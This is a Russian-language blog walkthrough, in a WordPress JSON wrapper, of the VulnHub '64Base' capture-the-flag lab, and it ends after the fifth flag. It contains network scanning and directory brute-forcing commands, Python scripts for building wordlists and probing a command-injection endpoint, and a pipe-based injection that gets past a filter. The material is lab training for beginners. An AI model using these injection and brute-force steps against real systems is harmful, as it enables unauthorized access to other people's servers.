{"id":282596,"date":"2016-12-16T11:05:04","date_gmt":"2016-12-16T08:05:04","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=282596"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=282596","title":{"rendered":"VulnHub \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e 64Base: Boot2Root"},"content":{"rendered":"


\u0421\u043e\u0432\u0441\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043d\u0430 VulnHub<\/a> \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u043a\u0438 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c 64Base Boot2Root<\/a>. \u0417\u0430\u0434\u0430\u043d\u0438\u044f, \u043a\u0430\u043a \u0438 \u0441\u0442\u0430\u0442\u044c\u044f \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u043d\u044b \u043d\u0430 \u043d\u043e\u0432\u0438\u0447\u043a\u043e\u0432. \u0422\u0430\u043a \u0447\u0442\u043e \u043d\u0435 \u0443\u0434\u0438\u0432\u043b\u044f\u0439\u0442\u0435\u0441\u044c, \u0435\u0441\u043b\u0438 \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0438\u0437 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043f\u043e\u043a\u0430\u0436\u0443\u0442\u0441\u044f \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u044b\u043c\u0438.
<\/a> <\/p>\n

\u041d\u0430\u0447\u043d\u0435\u043c<\/h3>\n

\u0412 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u0432\u0438\u0434\u0438\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u043b\u0430\u0433\u043e\u0432, \u0438 \u0438\u0445 \u0444\u043e\u0440\u043c\u0430\u0442: <\/p>\n

There are 6 flags to collect. Each in the format of flag1{ZXhhbXBsZSBmbGFnCg==} Beat the Empire and steal the plans for the Death Star before its too late.<\/p><\/blockquote>\n

\u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u043e\u0431\u0440\u0430\u0437, \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b, \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u0421\u0435\u0442\u044c, \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043c\u043e\u0441\u0442 \u043d\u0430 \u043d\u0430\u0448 \u0430\u0434\u0430\u043f\u0442\u0435\u0440, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c. \u0418 \u0434\u0430\u043b\u0435\u0435 \u0438\u0449\u0435\u043c nmap’\u043e\u043c \u043d\u0430\u0448\u0443 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u043a\u0443 <\/p>\n

sudo nmap -A 192.168.1.1-255 -p1-65535<\/code><\/pre>\n
  \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u044b\u0432\u043e\u0434:
  Starting Nmap 7.01 ( https:\/\/nmap.org ) at 2016-12-12 22:13 MSK
  Nmap scan report for 192.168.1.2
  Host is up (0.0040s latency).
  Not shown: 997 closed ports
  PORT STATE SERVICE
  22\/tcp open ssh
  80\/tcp open http Apache httpd 2.4.10 ((Debian))
  4899\/tcp open radmin
  62964\/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
  MAC Address: 08:00:27:68:E7:F8 (Oracle VirtualBox virtual NIC)<\/code>
  2 \u0438\u0437 4 \u043f\u043e\u0440\u0442\u043e\u0432 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u2014 \u044d\u0442\u043e 80 \u0438 62964, \u0438 2 \u043f\u043e\u0440\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043b\u0438\u0441\u044c nmap’\u043e\u043c. \u041d\u043e \u043e \u043d\u0438\u0445 \u043f\u043e\u0437\u0436\u0435.<\/p>\n
flag1<\/h3>\n
  \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 192.168.1.2<\/a>:80, \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.
  
  \u041d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u0433\u043b\u0430\u0437\u0430 \u0431\u0440\u043e\u0441\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0434\u043f\u0438\u0441\u044c: dmlldyBzb3VyY2UgO0QK<\/i>
  \u0414\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c \u044d\u0442\u043e \u0438\u0437 Base64 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0443: view source ;D<\/i>
  \u041e\u043a, \u0437\u0430\u0433\u043b\u044f\u043d\u0435\u043c \u0432 \u043a\u043e\u0434 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u0438 \u0440\u044f\u0434\u043e\u043c \u0441 \u044d\u0442\u043e\u0439 \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u044e \u0432\u0438\u0434\u0438\u043c \u043a\u043e\u043c\u043c\u0435\u043d\u0442:  <\/p>\n
<div class="site-heading">     <h1>64base<\/h1>     <hr class="small">     <span class="subheading">dmlldyBzb3VyY2UgO0QK<\/span>     <!--5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a--> <\/div><\/code><\/pre>\n
  \u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f HEX -> ASCII -> Base64 -> ASCII
  \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u0444\u043b\u0430\u0433  <\/p>\n
flag1{NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg==}<\/p><\/blockquote>\n
  \u041f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u0438\u0437 base64 \u0432 ASCII, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435  <\/p>\n
64base:Th353@r3N0TdaDr01DzU@reL00K1ing4<\/p><\/blockquote>\n
flag2<\/h3>\n
  \u0418 \u0442\u0430\u043a, \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c.
  \u0418\u0449\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438:  <\/p>\n
sudo dirsearch -r -u http:\/\/192.168.1.2 -e php,txt,bak -w \/usr\/share\/dirb\/wordlists\/big.txt -f -x 301,403<\/code><\/pre>\n
  <\/p>\n
  \u041d\u0430\u0448\u043b\u0430\u0441\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0441 Basic \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \/admin<\/i>. \u0423\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0444\u043b\u0430\u0433\u0435 \u043d\u0435 \u043f\u043e\u0434\u043e\u0448\u043b\u0438. \u041d\u0430 ssh \u0441 \u043d\u0438\u043c\u0438 \u0442\u043e\u0436\u0435 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f. \u0412\u0438\u0434\u0438\u043c\u043e \u0447\u0442\u043e-\u0442\u043e \u0431\u044b\u043b\u043e \u0443\u043f\u0443\u0449\u0435\u043d\u043e.
  \u041f\u043e\u0441\u043b\u0435 \u043d\u0435\u0434\u043e\u043b\u0433\u0438\u0445 \u043f\u043e\u0438\u0441\u043a\u043e\u0432 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0440\u0430\u0441\u043f\u0430\u0440\u0441\u0438\u0442\u044c \u0441\u043b\u043e\u0432\u0430 \u0441\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0441\u0430\u0439\u0442\u0430 \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c. \u0421\u043a\u0440\u0438\u043f\u0442 \u043d\u0430 Python \u0432 \u044d\u0442\u043e\u043c \u043f\u043e\u043c\u043e\u0433:  <\/p>\n
\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n
\n
#!\/usr\/bin\/python3 import re import requests import sys  def repl(txt): \ttxt = txt.replace('<!', ' ').replace('>', ' ').replace('<\/', ' ').replace('\\n', ' ').replace('<', ' ').replace('"', ' ').replace('=', ' ').replace(':', ' ').replace('--', ' ').replace('\/', ' ').replace("'", " ").replace('©', ' ').replace(',', ' ').replace('#', ' ').replace('→a', ' ').replace('?', ' ').replace('.', ' ').replace(';', ' ').replace('(', ' ').replace(')', ' ').replace('{', ' ').replace('}', ' ') \treturn txt.strip()  words = [] url = sys.argv[1] req = requests.get(url).text.splitlines() for item in req: \titem = repl(item) \ttmp = [x.strip() for x in item.split(' ') if x.strip() != ''] \tfor word in tmp: \t\tif word not in words: words.append(word)  w = open(sys.argv[2], 'w') for x in words: \tw.write('%s\\n' %(x)) w.close()<\/code><\/pre>\n
  \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u0435\u0433\u043e \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0439 \u043d\u0430\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b:  <\/p>\n
.\/parser.py http:\/\/192.168.1.2\/index.html index .\/parser.py http:\/\/192.168.1.2\/about.html about .\/parser.py http:\/\/192.168.1.2\/post.html post .\/parser.py http:\/\/192.168.1.2\/contact.html contact cat index about post contact | sort -u > words.lst<\/code><\/pre>\n
  \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043d\u043e\u0432\u0430 \u043f\u043e\u0438\u0441\u043a \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439:  <\/p>\n
sudo dirsearch -u http:\/\/192.168.1.2\/ -r -f -w words.lst -e php,txt,json,bak -x 301<\/code><\/pre>\n
  <\/div>\n<\/div>\n
  <\/p>\n
  \u041d\u0430\u0448\u043b\u0430\u0441\u044c \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f. \u0415\u0441\u043b\u0438 \u0432\u0437\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043d\u0430 \u0444\u0430\u0439\u043b robots.txt<\/i>, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c:  <\/p>\n
Disallow: \/Imperial-class\/<\/p><\/blockquote>\n
  \u0412\u0438\u0434\u0438\u043c\u043e \u044d\u0442\u043e \u043e\u0434\u043d\u0430 \u0438\u0437 \u0448\u0443\u0442\u043e\u043a \u0430\u0432\u0442\u043e\u0440\u0430, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0433\u043e\u0432\u043e\u0440\u0438\u043b\u043e\u0441\u044c \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438.
  \u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f, \u0432\u0432\u043e\u0434\u0438\u043c \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u043d\u0435\u0435, \u0438 \u043c\u044b \u0432\u043e\u0448\u043b\u0438!
  \u041e\u0434\u043d\u0430\u043a\u043e \u0440\u0430\u0434\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0440\u0430\u043d\u043e, \u043d\u0430\u0441 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435:  <\/p>\n
[] ERROR: incorrect path!.. TO THE DARK SIDE!<\/p><\/blockquote>\n
  \u041f\u043e\u0438\u0441\u043a\u0430\u0432 \u043d\u0430 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 Imperial-\u0421lass<\/i>, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0444\u0440\u0430\u0437\u0443:  <\/p>\n
Only respond if you are a real Imperial-Class BountyHunter<\/p><\/blockquote>\n
  \u0425\u043c, \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 192.168.1.2\/Imperial-Class\/BountyHunter<\/a><\/i> \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u043d\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438:
  <\/p>\n
  \u0412\u0437\u0433\u043b\u044f\u043d\u0443\u0432 \u043d\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434, \u0432\u0438\u0434\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:  <\/p>\n
\u041e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u043b\u0430\u0433<\/b><\/p>\n
\n
<body bgcolor=#000000><font color=#cfbf00> <form name="login-form" id="login-form" method="post" action=".\/login.php">    <fieldset>    <legend>Please login:<\/legend>    <dl>      <dt>        <label title="Username">Username:       <input tabindex="1" accesskey="u" name="function" type="text" maxlength="50" id="5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756" \/>        <\/label>      <\/dt>    <\/dl>    <dl>      <dt>        <label title="Password">Password:       <input tabindex="2" accesskey="p" name="command" type="password" maxlength="15" id="584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c32" \/>              <\/label>      <\/dt>    <\/dl>    <dl>      <dt>        <label title="Submit">        <input tabindex="3" accesskey="l" type="submit" name="cmdlogin" value="Login" \/>        <!-- basictoken=52714d544a54626d51315a45566157464655614446525557383966516f3d0a -->       <\/label>      <\/dt>    <\/dl>    <\/fieldset>  <\/form> <\/code><\/pre>\n
  <\/div>\n<\/div>\n
  \u041e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u043c, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u044b\u0432\u0430\u0435\u043c HEX -> TEXT -> Base64 -> TEXT, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0432\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433:  <\/p>\n
flag2{aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g\/dj12Snd5dEZXQTh1QQo=}<\/p><\/blockquote>\n
  \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0432 \u0444\u043b\u0430\u0433 \u0432\u043c\u0435\u0441\u0442\u043e \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 YouTube<\/a><\/p>\n
flag3<\/h3>\n
  \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043c, \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0444\u043e\u0440\u043c\u0430 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438: 192.168.1.2\/Imperial-Class\/BountyHunter\/index.php<\/a><\/i>, \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432, \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 POST \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043a login.php<\/i>, \u043d\u0430\u0441 \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445 \u043b\u0438\u0431\u043e \u043e\u0448\u0438\u0431\u043e\u043a \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0442 \u043d\u0430 index.php<\/i>. 
  \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0432\u0437\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0430, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c curl<\/i>:  <\/p>\n
curl http:\/\/192.168.1.2\/Imperial-Class\/BountyHunter\/login.php -H 'Authorization: Basic NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0'<\/code><\/pre>\n
  \u0412 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0443\u0434\u0438\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0444\u043b\u0430\u0433:  <\/p>\n
flag3{NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2
  luLnBocD9mPWV4ZWMmYz1pZAo=}<\/p><\/blockquote>\n
  \u0418 \u043d\u043e\u0432\u0443\u044e \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0443, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0432 \u043d\u0451\u043c:  <\/p>\n
53cr3t5h377\/Imperial-Class\/BountyHunter\/login.php?f=exec&c=id<\/p><\/blockquote>\n
flag4<\/h3>\n
  \u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u041f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u043e\u0439 \u0438\u0437 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0444\u043b\u0430\u0433\u0430 \u0438 \u043f\u0435\u0440\u0435\u0439\u0434\u0451\u043c \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 192.168.1.2\/Imperial-Class\/BountyHunter\/login.php?f=exec&c=id<\/a><\/i>
  <\/p>\n
  \u0425\u043c, \u0441\u0440\u0430\u0437\u0443 \u0432\u0441\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u043c \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443, \u0441\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b post.html<\/i>  <\/p>\n
\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n
  <\/div>\n<\/div>\n
  \u0417\u0430\u043c\u0435\u043d\u0438\u043c EXEC \u043d\u0430 SYSTEM: 192.168.1.2\/Imperial-Class\/BountyHunter\/login.php?f=system&c=id<\/a><\/i> \u0418 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0444\u043b\u0430\u0433, \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0443, \u0430 \u0442\u0430\u043a \u0436\u0435 shell \u043d\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435.
  <\/p>\n
flag4{NjRiYXNlOjY0YmFzZTVoMzc3Cg==}<\/p><\/blockquote>\n
  \u0412 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0435, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u043e\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435: 64base:64base5h377<\/i><\/p>\n
flag5<\/h3>\n
  \u041d\u0435\u043c\u043d\u043e\u0433\u043e \u0438\u0437\u0443\u0447\u0438\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u0430, \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0441\u043f\u0438\u0441\u043e\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e, \u0441\u0438\u043b\u044c\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d, \u0432 \u0434\u043e\u0431\u0430\u0432\u043e\u043a \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0444\u0438\u043b\u044c\u0442\u0440 \u0434\u043b\u044f \u0441\u043b\u0435\u0448\u0430. \u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043a\u0430\u043a\u0438\u0435 \u0438\u0437 \u043d\u0438\u0445 \u043d\u0430\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b.
  \u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043d\u0430\u043c \u043a\u043e\u043c\u0430\u043d\u0434:  <\/p>\n
for item in $(ls \/usr\/sbin\/ && ls \/usr\/bin\/ && ls \/sbin\/ && ls \/bin\/); do echo $item >> \/tmp\/unix_command2.lst; done sort -u \/tmp\/unix_command2.lst > unix_command.lst<\/code><\/pre>\n
  \u0414\u0430\u043b\u0435\u0435 \u0441\u043a\u0430\u0440\u043c\u043b\u0438\u0432\u0430\u0435\u043c \u044d\u0442\u043e\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0432 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430 Python:  <\/p>\n
\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n
\n
#!\/usr\/bin\/python  import requests import sys, re  url = 'http:\/\/192.168.1.2\/Imperial-Class\/BountyHunter\/login.php' param = {'f':'system', 'c':''} basic = ('64base', 'Th353@r3N0TdaDr01DzU@reL00K1ing4')  if len(sys.argv) == 1: \tprint('Usage: brute_sh.py [wordlist]') \tsys.exit(0)  words = open(sys.argv[1], 'r').read().splitlines() for item in words: \tparam['c'] = '%s --help' %(item) \treq = requests.get(url, params=param, auth=basic) \tif len(req.text.splitlines()) > 9: \t\tprint('Found cmd: %s' %(item)) <\/code><\/pre>\n
  <\/div>\n<\/div>\n
  \u0418 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0442\u0430\u043a\u043e\u0439 \u0432\u044b\u0432\u043e\u0434:  <\/p>\n
Found cmd: base64
  Found cmd: cat
  Found cmd: id
  Found cmd: locate
  Found cmd: ls
  Found cmd: nc
  Found cmd: ps
  Found cmd: w
  Found cmd: wget
  Found cmd: who
  Found cmd: whoami<\/p><\/blockquote>\n
  \u041d\u0435 \u043c\u043d\u043e\u0433\u043e, \u043e\u0434\u043d\u0430\u043a\u043e \u0442\u0430\u043a \u043a\u0430\u043a \u0443 \u043d\u0430\u0441 \u043d\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0438\u043c\u0432\u043e\u043b | \u0442\u043e \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0432 \u0435\u0433\u043e \u0432 \u043d\u0430\u0447\u0430\u043b\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043b\u044e\u0431\u0443\u044e. \u041f\u043e\u0438\u0433\u0440\u0430\u0432 \u0441 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438
  \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0442\u0430\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441:  <\/p>\n
|locate admin|grep html|xargs find<\/code><\/pre>\n
  P.S. \u0417\u0434\u0435\u0441\u044c \u0438 \u0434\u0430\u043b\u0435\u0435 \u044f \u0431\u0443\u0434\u0443 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0432 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 c<\/i>
  \u0412\u044b\u0432\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a:  <\/p>\n
\/var\/www\/html\/admin
  \/var\/www\/html\/admin\/index.php
  \/var\/www\/html\/admin\/S3cR37
  \/var\/www\/html\/admin\/S3cR37\/flag5{TG9vayBJbnNpZGUhIDpECg==}
  \/var\/www\/html\/admin\/.htaccess
  \/var\/www\/html\/admin\/.htaccess
  \/var\/www\/html\/admin\/index.php<\/p><\/blockquote>\n
